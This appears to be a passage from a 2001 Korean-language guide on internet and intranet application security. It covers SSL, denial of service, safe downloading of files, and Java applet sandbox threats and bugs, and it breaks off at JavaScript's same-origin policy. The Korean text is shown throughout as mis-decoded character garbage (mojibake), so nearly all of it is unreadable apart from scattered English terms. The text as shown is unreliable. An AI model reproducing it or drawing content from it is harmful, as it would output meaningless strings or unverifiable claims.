Last
Update: 10 May 2001
13 ¾îÇø®ÄÉÀÌ¼Ç º¸¾È
in English
ÀÎÅͳÝ/ÀÎÆ®¶ó³Ý
µµÀÔ
ÀÎÅÍ³Ý ¾îÇø®ÄÉÀ̼ÇÀº HTTP, wais, gopher, telnet ¶Ç´Â ftp °°Àº ÀϹÝÀûÀÎ ÀÎÅÍ³Ý ÀÀ¿ë°èÃþÀÇ ÇÁ·ÎÅäÄÝÀ» »ç¿ëÇÏ´Â ÇÁ·Î±×·¥ÀÌ´Ù.
- ÀϹÝÀûÀ¸·Î ÀÎÅͳÝÀº ±× Ư¼º»ó ½É°¢ÇÑ º¸¾È¹®Á¦µéÀ» °¡Áö°í ÀÖÀ¸¹Ç·Î »ç¿Ü·Î ¿¬°áµÈ ³×Æ®¿÷À» ÀÌ¿ëÇÏ´Â ÀÎÅÍ³Ý ¾îÇø®ÄÉÀ̼ÇÀÇ »ç¿ëÀº ½É°¢ÇÏ°Ô °í·ÁÇÑ´Ù. ƯÈ÷ ÀÎÅÍ³Ý »ç¿ë¿¡ °üÇÑ ¼³Á¤Àº ¸Å¿ì ½ÅÁßÈ÷ °áÁ¤ÇÑ´Ù. ´ëºÎºÐÀÇ WWW¿Í °°Àº ¼ºñ½º´Â ¹Ýµå½Ã ¹æÈº®±â´ÉÀÌ ÀÖ´Â ÇÁ·Ï½Ã ¼¹ö ¶Ç´Â ¼¹öµéÀ» ÅëÇϵµ·Ï ÇÏ¸ç °¢ ¼¹öÀÇ ¼³Á¤¿¡ ¸¸ÀüÀ» ±âÇÑ´Ù. »ç¿ëÀÚµé ¶ÇÇÑ ½Å·Úµµ°¡ ³·Àº »çÀÌÆ®¿¡¼ ÀÚ·á/ÇÁ·Î±×·¥µîÀ» ¹Þ´Â °Í¿¡ ´ëÇÑ À§ÇèÀ» ±³À°¹ÞÀ» Çʿ䰡 ÀÖ´Ù.
- ¹Ý¸é ÀÎÆ®¶ó³ÝÀº ÀÎÅͳݿ¡ »ç¿ëµÇ´Â ±â¼úµéÀ» »ç³» Àü»ê¸Á¿¡ µµÀÔÇÏ¿© »ç¿ëÇÏ´Â °ÍÀÌ´Ù. ÀÎÆ®¶ó³Ý¿¡¼ °í·ÁÇØ¾ß ÇÒ º¸¾È ¹®Á¦µéÀº ´Ù¸£´Ù. Á¢±ÙÅëÁ¦¿Í °¡¿ë¼ºÀÌ
¿¹¸¦ µé¸é ¹ÙÀÌ·¯½º³ª À§ÇèÇÑ ÇÁ·Î±×·¥µéº¸´Ù Áß¿äÇÑ ºñÁßÀ» °¡Áú ¼ö ÀÖ´Â °ÍÀÌ´Ù.
±âÁ¸ÀÇ ÀÎÅͳÝÀº º¸¾ÈÀÌ Ãë¾àÇßÀ¸³ª ÀÌÁ¦´Â ´Þ¶óÁö°í ÀÖ´Ù. º¸¾È½ÃÀåÀº ºü¸£°Ô ¹ßÀüÇϰí ÀÖ´Â ´Ù¾çÇÑ º¸¾ÈÁ¦Ç°µéÀ» ¼±º¸À̰í ÀÖ´Ù.
º» Àå¿¡¼´Â ÀÎÅͳÝ/ÀÎÆ®¶ó³Ý º¸¾È¿¡ °üÇÑ ¸ðµç °ÍÀ» ´Ù·çÁö´Â ¾Ê´Â´Ù. ±â¹ý(¸ÞÄ¿´ÏÁò)Æí, ¹æÈº®Æí ±×¸®°í °¡´ÉÇÑ UNIX/NT ÆíÀ» »ìÇÉ ÈÄ º» ÀåÀ» ÀÐÀ» °ÍÀ» ±ÇÀåÇÑ´Ù.
À§ÇèÀ» ¾î¶»°Ô ÁÙÀ̴°¡?
- ±â¹Ð¼º/¹«°á¼º: ÇöÀç ºê¶ó¿ìÀú¿Í WWW ¼¹ö °£ÀÇ Åë½Å¿¡ º¸¾ÈÀÌ ÇÊ¿äÇÏ´Ù¸é ÁÖ·Î SSLÀ» »ç¿ëÇÑ´Ù. ±×·¯³ª ¹Ì±¹À» Á¦¿ÜÇÑ °÷¿¡¼´Â ¾ÏÈ£È ¼öÁØÀÌ ³·´Ù.
Netscape ºê¶ó¿ìÀú¿¡¼ Fortify¸¦ »ç¿ëÇÏ¿© 128 ºñÆ® ÇÔȣȸ¦ ÇÏ´ø°¡ SSH (Secure Shell)¸¦ »ç¿ëÇÏ´Â ´ë¾ÈÀÌ ÀÖ±â´Â ÇÏ´Ù. ÀÌ µÎ°¡Áö ´ë¾ÈµéÀº ±â¹ý(¸ÞÄ«´ÏÁò)Æí¿¡ ¼¼úµÇ¾î ÀÖ´Ù.
- °¡¿ë¼º: ¼ºñ½º°ÅºÎ °ø°ÝÀº Á¸ÀçÇÏ´Â ´ëºÎºÐÀÇ Å¬¶óÀÌ¾ðÆ® ¼¹ö ½Ã½ºÅÛÀ» À§ÇùÇÑ´Ù. (ÀÚ¹ÙÀÇ sandboxµµ Æ÷ÇÔ) ¼ºñ½º°ÅºÎ °ø°ÝÀÇ ÇÇÇØ¸¦ ÃÖ¼ÒÈ
Çϱâ À§Çؼ´Â °è¼ÓÀûÀÎ ½Ã½ºÅÛ °¨µ¶, ÃֽŠÆÐÄ¡ ¼³Ä¡, ½ÅÁßÇÑ ¼³Ä¡¿Í ¼³Á¤µîÀÇ ºÎÁö·±ÇÑ °ü¸®°¡ ¿ä±¸µÈ´Ù. À¥¼¹ö¸¦ º¸È£ÇÏ´Â ¹æÈº®À» ÀÌ¿ë, http ÀÌ¿ÜÀÇ ÇÁ·ÎÅäÄÝÀ» °É·¯³»´Â °Í°ú IP ½ºÇªÇÎ (IP spoofing)À» ¹æÁöÇÏ´Â °Í¶ÇÇÑ ¼ºñ½º°ÅºÎ °ø°Ý¿¡ ´ëÇÑ ÇÇÇØ ÃÖ¼ÒÈ¿¡ µµ¿òÀÌ µÈ´Ù.
º¸¾È ¹®Á¦µéÀº Å©°Ô Ŭ¶óÀÌ¾ðÆ® °üÁ¡¿¡¼ÀÇ º¸¾È°ú ¼¹ö °üÁ¡¿¡¼ÀÇ º¸¾ÈÀ¸·Î ³ª´ ¼ö ÀÖ´Ù.
Ŭ¶óÀÌ¾ðÆ® °üÁ¡¿¡¼ÀÇ º¸¾È°ú ºê¶ó¿ìÁ®
ÀÎÅͳݿ¡¼ ´Ù¿î·Îµå ¹Þ±â
Æ®·ÎÀÌÀÇ ¸ñ¸¶, ±×¸©µÈ ¹®¼³ª ÇÁ·Î±×·¥ ±×¸®°í ¹ÙÀÌ·¯½ºµé·Î ÀÎÇÑ ¼ÕÇØ¸¦ ÇÇÇϱâ À§Çؼ ÀÎÅͳݿ¡¼ ÆÄÀÏÀ» ´Ù¿î·Îµå½Ã¿¡´Â ¸¹Àº ÁÖÀǰ¡ ÇÊ¿äÇÏ´Ù.
- °¡´ÉÇϸé [MD5] ÇØ½Ã ȤÀº PGP »çÀÎÀ» »ç¿ë, ±â¹Ð¼º°ú Ãâó¸¦ È®ÀÎÇÑ´Ù.
- º»·¡ÀÇ Ãâó·ÎºÎÅÍ ´Ù¿î·Îµå¸¦ Çϱâ. »ç¹«ÀÚµ¿ÈÆíÀ» ÂüÁ¶ÇÑ´Ù.
- Word, Excel, Access µî¿¡ Æ÷ÇÔµÈ ¸ÅÅ©·Îµé, Postscript ¶Ç´Â ActiveX µîÀ» »çÀü °Ë»ç Àü¿¡ ¿¾îº¸Áö ¸»°Í. À̰͵éÀº ¹ÙÀÌ·¯½º ¶Ç´Â Æ®·ÎÀÌ ¸ñ¸¶ÀÏ °¡´É¼ºÀÌ ÀÖ´Ù.
- Word¸¦ »ç¿ëÇÏÁö ¸»°í Word¸¦ »ç¿ëÇÏ¿© ´Ù¿î·ÎµåÇÑ Word ¹®¼¸¦ Àд´Ù.
- Word ¹®¼ ¼½Ä ÆÄÀÏÀÎ normal.dotÀ» ÀбâÀü¿ë ÆÄÀÏ·Î ¼³Á¤ÇÑ´Ù.
- °¡´ÉÇÏ¸é ´Ù¿î·Îµå¸¦ ¹Þ´Â ´ë½Å CD·Î ±¸ÀÔ. CD ±¸ÀÔÀº °æÁ¦ÀûÀÌ¸ç º¸´Ù ¾ÈÀüÇÏ´Ù. ƯÈ÷ °³¹ßÀÚ·Î ºÎÅÍ Á÷Á¢ ±¸ÀÔÇÏ´Â CD´Â °æÁ¦ÀûÀÌ¸ç ¾ÈÀüÇÏ´Ù.
GNU CD-ROM µéÀÌ ±× ¿¹ÀÌ´Ù.
ÀÚ¹Ù
1995³â¿¡ Sun Microsystems°¡ ¹ßÇ¥ÇÑ ÀÚ¹Ù´Â »õ·Î¿î ¹Ù¶÷À» ÀÏÀ¸Å°°í ÀÖ´Ù. ÀÚ¹Ù´Â C/C++¿Í ´àÀº ¾ð¾î·Î¼ ¸ÖƼ¾²·¹µå, °´Ã¼ÁöÇâ, ³×Æ®¿÷ ±×¸®°í ¹ÙÀÌÆ® ÄÚµå (byte code)¸¦ ÀÌ¿ëÇÑ À̽ļºÀ» Á¦°øÇÑ´Ù. ¹ÙÀÌÆ® ÄÚµå´Â ÀÚ¹Ù °¡»ó ¸Ó½ÅÀ» žÀçÇÑ ¾î¶°ÇÑ ÄÄÇ»ÅÍ »ó¿¡¼µµ ½ÇÇà ¶Ç´Â ÇØ¼®µÉ ¼ö ÀÖ´Ù. ÇÏÁö¸¸ ¹ÙÀÌÆ® ÄÚµåÀÇ »ç¿ëÀº ³ôÀº À̽ļºÀ» Á¦°øÇÏ´Â ´ë½Å ¼º´ÉÀúÇϸ¦ À¯¹ßÇÑ´Ù. (ÇØ¼®±â°¡ ´À¸®±â ¶§¹®ÀÌ´Ù. - ÇÏÁö¸¸ À̰ÍÀº ÀÚ¹ÙĨ°ú JIT (Just In Time) ÄÄÆÄÀÏ·¯°¡ ³Î¸® »ç¿ëµÇ¸é¼ ±Øº¹µÉ °ÍÀÌ´Ù.)
ÀÚ¹Ù´Â µÎ°¡Áö »óÅ·Πµ¹¾Æ°¡°Ô ¼³°èµÇ¾ú´Ù: µ¶¸³µÈ ÇϳªÀÇ ¾îÇø®ÄÉÀÌ¼Ç (application) °³¹ßÀ» À§ÇÑ ÀÚ¹Ù¿Í "¾ÖÇø´ (applet)"À¸·Î¼ÀÇ ÀÚ¹Ù. ¾ÖÇø´Àº À¥ ÆäÀÌÁö¿¡¼ ºê¶ó¿ìÁ®·Î ´Ù¿î¹Þ´Â ÀÛÀº ÀÚ¹Ù ÇÁ·Î±×·¥ÀÌ¸ç ºê¶ó¿ìÁ®¿¡ ÀÇÇØ ½ÇÇàµÈ´Ù.
Àڹٴ ȣȷοî WWW Ȩ ÆäÀÌÁö¿Í ³ôÀº À̽ļºÀ» °¡Áø ¾îÇø®ÄÉÀ̼ÇÀÇ °³¹ßÀ» °¡´ÉÇÏ°Ô Çß´Ù (Microsoft ´Â ÀÚ¹ÙÀÇ À̽ļºÀ» ¸ØÃß±â À§ÇØ ÃÖ¼±À» ´ÙÇϰí ÀÖÁö¸¸). ÀϺΠÀü¹®°¡µéÀº ÀÚ¹ÙÀÇ ³ôÀº À̽ļºÀÌ Å¬¶óÀ̾ðÆ®/¼¹ö ȯ°æÀÇ ¹Ì·¡¶ó°í ÁÖÀåÇϰí ÀÖ´Ù.
ÀÚ¹Ù V1.02´Â Navigator V2 (¿Í ÀÌÈÄ ¹öÁ¯) ¿¡¼, IE3°ú Mosaic°ú PowerBrowser¿¡¼ Áö¿øÇÑ´Ù. ÀÚ¹Ù V1.1Àº IE4, 1998³â1¿ùÀÚ JVM fix°¡ ¼³Ä¡µÈ Navigator 4.04 ³ª Navigator4.05 ¹× ÀÌÈÄ ¹öÁ¯¿¡¼ ÀÛµ¿ÇÑ´Ù.
ÀÚ¹Ù´Â ¿ÜºÎ ÄÚµåÀÇ ½ÇÇà¿¡ ¾ÈÀüÇÑ È¯°æÀ» Á¦°øÇϵµ·Ï ¼³°èµÇ¾ú´Ù:
- ÀÚ¹Ù¾ð¾î´Â ¾ÈÀüÇϵµ·Ï ¸¸µé¾îÁ³´Ù. (¿¹: °´Ã¼ÁöÇâ, ÀÚµ¿ ¾²·¹±â ¼öÁý, Á¦ÇÑµÈ ÀÚ·áÇü º¯È¯ (casting)/ÀÚ·áÇü Á¦¾î ±×¸®°í Æ÷ÀÎÅÍ ¿¬»ê ¾øÀ½) ÀÚ¹Ù ÄÄÆÄÀÏ·¯´Â ¾ö°ÝÇÑ ¾ÈÀü ¼öÄ¢À» Àû¿ëÇÑ´Ù.
- ¹ÙÀÌÆ® ÄÚµå °ËÁõ±â: ·±Å¸ÀÓ¿¡ µé¾î¿Â ¹ÙÀÌÆ® Äڵ尡 ¾ÈÀü ¼öÄ¢À» ÁöŰ´ÂÁö È®ÀÎÇÑ´Ù (¾Ç¼º ÄÄÆÄÀÏ·¯·ÎºÎÅÍ º¸È£). E.g. ½ºÅà ¿À¹öÇ÷οì/¾ð´õÇ÷οì
(stack overflow/underflow), Çã°¡µÇÁö ¾ÊÀº ÀÚ·áÇü/ÀÚ·áÇü º¯È¯, À§Á¶µÈ Æ÷ÀÎÅÍ, º¸È£µÈ Ŭ·¡½º·ÎÀÇ Á¢±Ù. Ŭ·¡½º ·Î´õ (class loader)´Â À̸§ °ø°£(name sapce) À̳ª ÁÖ¼ÒÁ¦ÇÑ ±ÔÁ¤µéÀ» Áö۵µ·Ï °¨½ÃÇÑ´Ù. Import µÈ Ŭ·¡½ºµéÀº ÇÙ½É °íÀ¯ Ŭ·¡½ºµéÀ» spoof ÇÒ ¼ö ¾ø´Ù. À̸§ °ø°£À» ·ÎÄðú URL °ü·ÃÀ¸·Î ³ª´«´Ù.
- ÀÚ¹Ù 1.1 Àº ¾ÏÈ£È¿Í ¼¸íÀ» À§ÇÑ ¾ÏÈ£(crypto-) api¸¦ žÀçÇÑ´Ù. ±×·¯³ª À̰ÍÀº ¹Ì±¹ ¼öÃâ±ÔÁ¦¿¡ ÀÇÇØ Á¦ÇѵȴÙ.
- º¸¾È °ü¸®ÀÚ: ¾ÖÇø´¿¡¼ÀÇ APIµéÀÇ »ç¿ëÀ» Á¦ÇÑÇϰí À§ÇèÇÑ ¸Þ¼Òµå (method)¸¦ »öÃâÇÑ´Ù. ¾ÖÇø´¿¡¼´Â »ç¿ëÀÚÀÇ ºê¶ó¿ìÁ®°¡ º¸¾È °ü¸®ÀÚÀÇ
Á¤Ã¥À» Á¤ÇÑ´Ù.
- ÆÄÀÏ ½Ã½ºÅÛ°ú ³×Æ®¿÷ Á¢±Ù º¸È£: import µÈ Äڵ尡 Çã°¡µÇÁö ¾ÊÀº Á¢±ÙÀ» ½ÃµµÇÒ °æ¿ì ´ëÈâÀÌ ¶ßµµ·Ï ÇÏ°í »ç¿ëÀÚ°¡ »ç¿ëÇã°¡¸¦ ½ÉÀÇÇϵµ·Ï ÇÑ´Ù.
- ¾²·¹µåµéÀ» ¼·Î·ÎºÎÅÍ º¸È£, Ŭ·¡½º·ÎÀÇ Á¢±ÙÀ» Á¦¾î.
- ¿î¿µÃ¼Á¦·ÎÀÇ Á¢±Ù Á¦¾î.
ÀÚ¹Ù ¾ÖÇø´µé¿¡´Â ´ÙÀ½ÀÇ Á¦ÇÑÀÌ Ãß°¡µÈ´Ù:
- V1.02¿¡¼´Â, ¾ÖÇø´ÀÌ Á÷Á¢ ½Ã½ºÅÛ È£ÃâÀ̳ª ÆÄÀÏ ½Ã½ºÅÛ Á¢±Ù, Ÿ ¾ÖÇø´ÀÇ °£¼·, ·ÎÄà ȯ°æ µµÃ» ¶Ç´Â ³×Æ®¿÷ ¿¬°á µîÀ» ÇÒ ¼ö ¾ø´Ù (¾ÖÇø´À» Á¦°øÇÑ À¥ ÆäÀÌÁö·ÎÀÇ ¿¬°áÀ» Á¦¿Ü).
- V1.1 À̳ª ÀÌÈÄ ¹öÁ¯¿¡¼´Â ¾ÖÇø´ÀÌ ¼¸í µÉ ¼ö ÀÖ´Ù. ¼¸íµÈ ¾ÖÇø´µéÀº Ãâó¸¦ ¹ÏÀ» ¼ö ÀÖÀ¸¹Ç·Î ºê¶ó¿ìÁ®ÀÇ ¼³Á¤¿¡ µû¶ó º¸´Ù ¸¹Àº ·ÎÄà ÀÚ¿ø
»ç¿ëÀÌ Çã°¡µÈ´Ù. ¾ÖÇø´ºä¾î (appletviewer), NS4 & IE4´Â °¢±â ´Ù¸¥ ¹æ½ÄÀ¸·Î ¾ÖÇø´¿¡ ¼¸íÀ» ÇÏ°í ´Ù¸¥ ¹æ½ÄÀ¸·Î Á¢±ÙÀ» Á¦ÇÑÇÑ´Ù. (Doc_CodeSigning.htmlÀ» ÂüÁ¶) ÀÚ¹Ù 1.2¿¡¼´Â ÀÌÁ¡ÀÌ ½ÃÁ¤µÇ±â¸¦ ¹Ù¶õ´Ù.
- ÀÚ¹Ù FAQ - ¾ÖÇø´ º¸¾È ¶ÇÇÑ ÂüÁ¶ÇÑ´Ù.
¾î¶² À§Çùµé¿¡ ´ëÇØ¼´Â ÀÚ¹Ù ¼³°è¿¡¼ ´Ù·ç¾îÁöÁö ¾Ê¾Ò´Ù:
- ¼ºñ½º °ÅºÎ °ø°Ý: °ø°ÝÀÚÀÇ ¾ÖÇø´Àº Áö³ªÄ£ ¸Þ¸ð¸®, CPU, ÀÚ¿øµîÀÇ ÅÁÁøÀ» À¯µµÇØ È£½ºÆ®ÀÇ Á¤Áö¸¦ À¯¹ßÇÒ ¼ö ÀÖ´Ù.
- À߸øµÈ ¼³Á¤À» ÀÌ¿ëÇÑ °ø°Ý: ¸ðµç ¾ÖÇø´Àº °°ÀÌ ¹æ½ÄÀ¸·Î 󸮵ȴÙ. ºê¶ó¿ìÁ®µéÀº ¾ÖÇø´¿¡ µ¿ÀÏÇÑ ±ÔÄ¢À» Ãâó¸¦ ºÒ¹®Çϰí Àû¿ëÇÑ´Ù. ¸¸¾à º¸¾È °ü¸®ÀÚ°¡ ¾ÖÇø´ÀÇ ¿ä±¸¿¡ µû¶ó ÆÄÀÏ Á¢±ÙÀ» Çã°¡ÇÑ´Ù¸é ¸ðµç ¾ÖÇø´Àº ÆÄÀÏ·Î Á¢±ÙÀÌ °¡´ÉÇÏ°Ô µÈ´Ù. ¼¸íÀ» »ç¿ëÇÏ¿© ÀÌ ¹®Á¦¸¦ ¾î´ÀÁ¤µµ ±Øº¹ÇÒ ¼ö ÀÖ´Ù.
- »çȸ°øÇÐÀû °ø°Ý: °ø°ÝÀÚÀÇ ¾ÖÇø´Àº »ç¿ëÀÚ À̸§/ÆÐ½º¿öµå¸¦ ¿ä±¸ÇÏ´Â ´ëÈ»óÀÚ¸¦ Ç¥½ÃÇÔÀ¸·Î¼ »ç¿ëÀÚ¸¦ ¼ÓÀÏ ¼ö ÀÖ´Ù. ÀϺΠºê¶ó¿ìÁ®µéÀº ³»ÀåµÈ °æ°í¹®À»
Ç¥±âÇϱ⵵ ÇÑ´Ù. [¼¸íÀº ¿©±â¼µµ µµ¿òÀÌ µÈ´Ù].
- Áö¼Ó¼º: ¾ÖÇø´Àº »ç¿ëÀÚ°¡ ´Ù¸¥ À¥ ÆäÀÌÁö·Î À̵¿Çصµ °è¼Ó ½ÇÇàµÉ ¼ö ÀÖ´Ù.
- ÀÚ¿øÀÇ ¾Ç¿ë: °ø°ÝÀÚÀÇ ¾ÖÇø´ÀÌ »ç¿ëÀÚ°¡ ÀνÄÇÏÁö ¸øÇÏ°Ô »ç¿ëÀÚÀÇ ÄÄÇ»ÅÍ¿¡¼ ÀÛµ¿ÇÏ¸ç ±× °á°ú¸¦ ¾ÖÇø´ÀÇ ¼¹ö¿¡ º¸°íÇÒ ¼ö ÀÖ´Ù. »ç¿ëÀÚ°¡ ¸ð¸£°Ô »ç¿ëÀÚÀÇ ÄÄÇ»ÅͷκÎÅÍ À̸ÞÀÏ(Email)À» º¸³¾ ¼ö ÀÖ´Ù.
- DNS: ÀÚ¹Ù´Â DNS¸¦ Áö³ªÄ¡°Ô ½Å·ÚÇÑ´Ù. ¸¸ÀÏ °ø°ÝÀÚ°¡ ±×¸©µÈ DNS Á¤º¸¸¦ Àü´ÞÇÒ¼ö ÀÖÀ¸¸é ¾ÖÇø´¿¡ Àû¿ëµÇ´Â ³×Æ®¿÷ Á¦ÇÑÀåÄ¡µéÀ» ¹«½ÃÇÒ ¼ö ÀÖ´Ù.
À§ÀÇ ³»¿ëµéÀº ÀÌ·ÐÀûÀÎ °üÁ¡¿¡¼ ´Ù·ç¾îÁø ³»¿ëÀÌ´Ù. ÀÚ¹Ù°¡ º¸´Ù ¸¹ÀÌ »ç¿ëµÇ¸é¼ ¹®Á¦Á¡µéÀÌ »ý°å´Ù.
- 1996³â 2¿ù, ÀÚ¹Ù½ºÅ©¸³Æ®¿Í ÀÚ¹Ù¿¡¼ ¸î°¡Áö º¸¾È°ü·Ã ¹ö±×°¡ ¹ß°ßµÇ¾ú´Ù. À̵éÀº DNS Spoofing ¹× Ŭ·¡½º ·Îµù (class loading) ½Ã À߸øµÈ º¸¾È Á¡°Ë°ú
°ü·ÃµÇ¾î ÀÖ´Ù. ÀÌ ¹®Á¦Á¡µéÀº JDK 1.0¿¡¼ 1.01·Î ¾÷±×·¹À̵åÇÔÀ¸·Î¼ ¼öÁ¤µÉ ¼ö ÀÖ´Ù.
- Navigator¿¡¼ ´õ ¸¹Àº º¸¾È°ü·Ã ¹ö±×°¡ ¹ß°ßµÇ¾î (¾Æ·¡ ÂüÁ¶), ÀÚ¹Ù´Â ¾ÆÁ÷ Àü¼º±â¸¦ ´©¸± Áغñ°¡ ¾ÈµÇ¾î ÀÖ´Ù´Â ¸ñ¼Ò¸®°¡ ³ô¾ÆÁö°í ÀÖ´Ù. Prinston ´ëÇÐÀÇ ÀÚ¹Ù º¸¾È ºÐ¼®º¸°í ÀڷḦ ÀοëÇÑ, Àڹ٠Ŭ·¡½º ·Î´õ¿¡ ´ëÇÑ NASIRC BULLETIN B-96-24 ¸¦ ÂüÁ¶ÇÑ´Ù [java1].
¿¬±¸ ÀÚ·á´Â ²Ï ½Éµµ°¡ ±í´Ù°í »ý°¢µÇ¸ç ÀÚ¹Ù °³¹ßÀÚ³ª ¼³°èÀÚµéÀÌ Àо¾Æ¾ß ÇÑ´Ù. À̵éÀÇ °á·ÐÀº ´ÙÀ½°ú °°´Ù:
¿ì¸®´Â ÇöÀçÀÇ ÀÚ¹Ù¸¦ ¾ÈÀüÇÏ°Ô ¸¸µå´Â °ÍÀÌ ¾î·Æ´Ù°í »ý°¢ÇÑ´Ù. ¾ð¾î ÀÚü, ¹ÙÀÌÆ® ÄÚµåÀÇ Çü½Ä, ±×¸®°í ·±Å¸ÀÓ ½Ã½ºÅÛÀÇ ¿ÏÀüÇÑ Àç¼³°è¸¸ÀÌ º¸´Ù ³ôÀº ½Å·Úµµ¸¦ °¡Áø ½Ã½ºÅÛÀ¸·ÎÀÇ ¹ßµ¸¿òÀ» °¡´ÉÇÏ°Ô ÇÒ °ÍÀÌ´Ù. °ø½ÄÀûÀÎ ±Ù°Å ¾øÀÌ, ½Ã½ºÅÛ º¸¾È¿¡ ´ëÇÑ ¼º¸íÀº °áÁ¤ÀûÀÏ ¼ö ¾ø´Ù.
ÀÚ¹Ù¿¡ °áÇÔÀÌ ÀÖ´Ù°í ÇØ¼ ´Ù¸¥ °æÀï ½Ã½ºÅÛµéÀÌ º¸´Ù ¾ÈÀüÇÏ´Ù´Â Àǹ̴ ¾Æ´Ï´Ù. °æÀï ½Ã½ºÅÛ¿¡ µ¿ÀÏÇÑ ¼öÁØÀÇ Á¤¹ÐÁ¶»ç°¡ Àû¿ëµÇ¾ú´Ù¸é °á°ú´Â ºñ½ÁÇßÀ» °ÍÀ̶ó°í ÃßÃøÇÑ´Ù. ¿ø°Ý¿¡¼ ·ÎµåµÈ Äڵ带 ½ÇÇàÇÏ´Â °ÍÀº ºñ±³Àû »õ·Î¿î µ¿ÇâÀ̸ç À̸¦ ¾ÈÀüÇÏ°Ô ÇÏ·Á¸é º¸´Ù ¸¹Àº ³ë·ÂÀÌ ÇÊ¿äÇÏ´Ù.
ÇöÀç´Â (2000³â 7¿ù, 4³â ÈÄ), ´Ù¸¥ º¸¾È ¹®Á¦µéÀº ¼Ò¼ö ¹ß»ýÇß°í (¿¹¸¦µé¸é ºê¶ó¿ìÁ® ÀÚüÀÇ º¸¾È ¹ö±×¿Í ºñ±³ÇÏ¿©) JDK 1.1ÀÌ ´ëºÎºÐÀÇ ºê¶ó¿ìÁ®¿¡¼ Áö¿øµÊÀ¸·Î ÀÎÇØ, ¼¸í ¾ÖÇø´ÀÇ »ç¿ëÀÌ µÎµå·¯Áú °ÍÀÌ´Ù.
°á·Ð:
- ÀÚ¹Ù´Â C, C++, VB, ÀÚ¹Ù½ºÅ©¸³Æ®, VBscript °°Àº ´Ù¸¥ Àα⠾ð¾îµé, ±×¸®°í ActiveX °°Àº ¿ø°Ý ÄÚµå ½ÇÇà ±â¼úº¸´Ù ´õ ¾ÈÀüÇÏ´Ù. ¾ÆÁ÷ ŵ¿¿¡ µû¸¥ ¹®Á¦°¡ ÀÖÁö¸¸ ¹àÀº ¹Ì·¡µµ °¡Áö°í ÀÖ´Ù.
- ÀÚ¹ÙÀÇ À§Çè°ú ÀÌÁ¡¿¡ ´ëÇÑ »ç¿ëÀÚ ±³À°ÀÌ Áß¿äÇÏ´Ù.
- ¸Å¿ì ¹Î°¨ÇÑ ÄÄÇ»Å͸¦ »ç¿ëÇÏ´Â »ç¿ëÀÚ´Â, ¹ÏÀ» ¼ö ÀÖ´Â ¼¹ö (¿¹: ÀÎÆ®¶ó³Ý »óÀÇ ¼¹ö) ¿¡ ¿¬°áÇßÀ» ¶§ »ç¿ëµÇ´Â °æ¿ì¸¦ Á¦¿ÜÇϰí´Â, ÀÎÅÍ³Ý WWW ºê¶ó¿ìÁ®¿¡¼ ÀÚ¹Ù ¾ÖÇø´ ½ÇÇà±â´ÉÀ» ¾ïÁ¦ÇÑ´Ù.
- ÀÚ¹Ù´Â µ¶¸³µÈ ¾îÇø®ÄÉÀÌ¼Ç °³¹ß¿¡ ¶Ù¾î³ ¾ð¾îÀÌ´Ù. º¸¾È°üÁ¡¿¡¼ º¼ ¶§, ÀÚ¹Ù´Â ¿¹¸¦ µéÀÚ¸é C³ª C++º¸´Ù ¶Ù¾î³ º¸ÁõÀ» Á¦°øÇÑ´Ù. Àå±âÀûÀ¸·Î º¼ ¶§, ÀÚ¹Ù´Â ¿¹»Û À¥ÆäÀÌÁö¸¦ À§ÇÑ ¾ÖÇø´ º¸´Ù´Â µ¶¸³ ¾îÇø®ÄÉÀÌ¼Ç ¿µ¿ª¿¡¼ ´õ Å« È¿°ú¸¦ ¹ßÈÖÇÒ °ÍÀÌ´Ù.
- ±º¿ë±ÞÀÇ ¾ÏÈ£È¿Í ¼¸íÀ» ±¸ÇöÇϱâ À§ÇÑ ¹ß´ÞµÈ ÀÚ¹Ù ¶óÀ̺귯¸®µéµµ ÀÖ´Ù.
- ¾ÆÁ÷ ÀÚ¹Ù¸¦ »ç¿ëÇÑ GUI °³¹ßÀº ºÎ´ãÀÌ µÇ´Â ÀÏÀÌ´Ù. ¿¹¸¦ µé¸é À©µµ¿ì GUI °³¹ß¿¡´Â µ¨ÆÄÀÌ (Delphi) °¡ ÇÑÂü ¾Õ¼ÀÖ´Ù.
ÀÚ¹Ù½ºÅ©¸³Æ®´Â ÀÚ¹Ù¿Í ±¸¹®¹ýÀº ºñ½ÁÇÏÁö¸¸ ÀÚ¹Ù¿Í´Â ¾Æ¹« °ü°è°¡ ¾ø´Ù. ÀÚ¹Ù½ºÅ©¸³Æ®´Â Ŭ¶óÀ̾ðÆ®Ãø¿¡¼ ÇØ¼®µÇ´Â ½ºÅ©¸³Æ® ¾ð¾î·Î Netscape ¿¡¼ °³¹ßÇÏ¿´´Ù.
ÀÚ¹Ù¿Í´Â ´Þ¸® sandbox¿¡¼ ÀÛµ¿ÇÏÁö ¾ÊÀ¸¸ç, ÆÄÀÏ ¿Ã¸®±â, ¸ÞÀÏ º¸³»±â, ¾î¶² °ÍÀÌµç ¾²¿©Áø ³»¿ëÀ» ´ëÈ»óÀڷΠǥ½ÃÇϱâ, ±×¸®°í ·ÎÄà ÆÄÀÏ¿¡ ¾²±â¸¦ ÇÑ´Ù (´ëÈ»óÀÚ¸¦ ÅëÇØ¼¶óµµ). ÀÚ¹Ù½ºÅ©¸³Æ®¿¡´Â µÎ°³ÀÇ º¸¾ÈÁ¤Ã¥ÀÌ ÀÖ´Ù:
- µ¿ÀÏ Ãâó Á¤Ã¥ (same origin policy) Àº Navigator 2.0 ºÎÅÍ µðÆúÆ® Á¤Ã¥À̾ú´Ù. ÇÑ Ãâó·ÎºÎÅÍ ¹®¼¸¦ ÀûÀçÇÒ ¶§´Â, ´Ù¸¥ Ãâó¿¡¼ ·ÎµåµÈ ½ºÅ©¸³Æ®´Â À©µµ¿ì³ª ÇÁ·¹ÀÓ, °´Ã¼(±×¸², ·¹À̾î, ÁÖ¼Ò, â, ¹®¼) ¿¡¼ ¼Ó¼ºÀ» °¡Á®¿À°Å³ª ¼³Á¤ÇÒ ¼ö ¾ø´Ù.
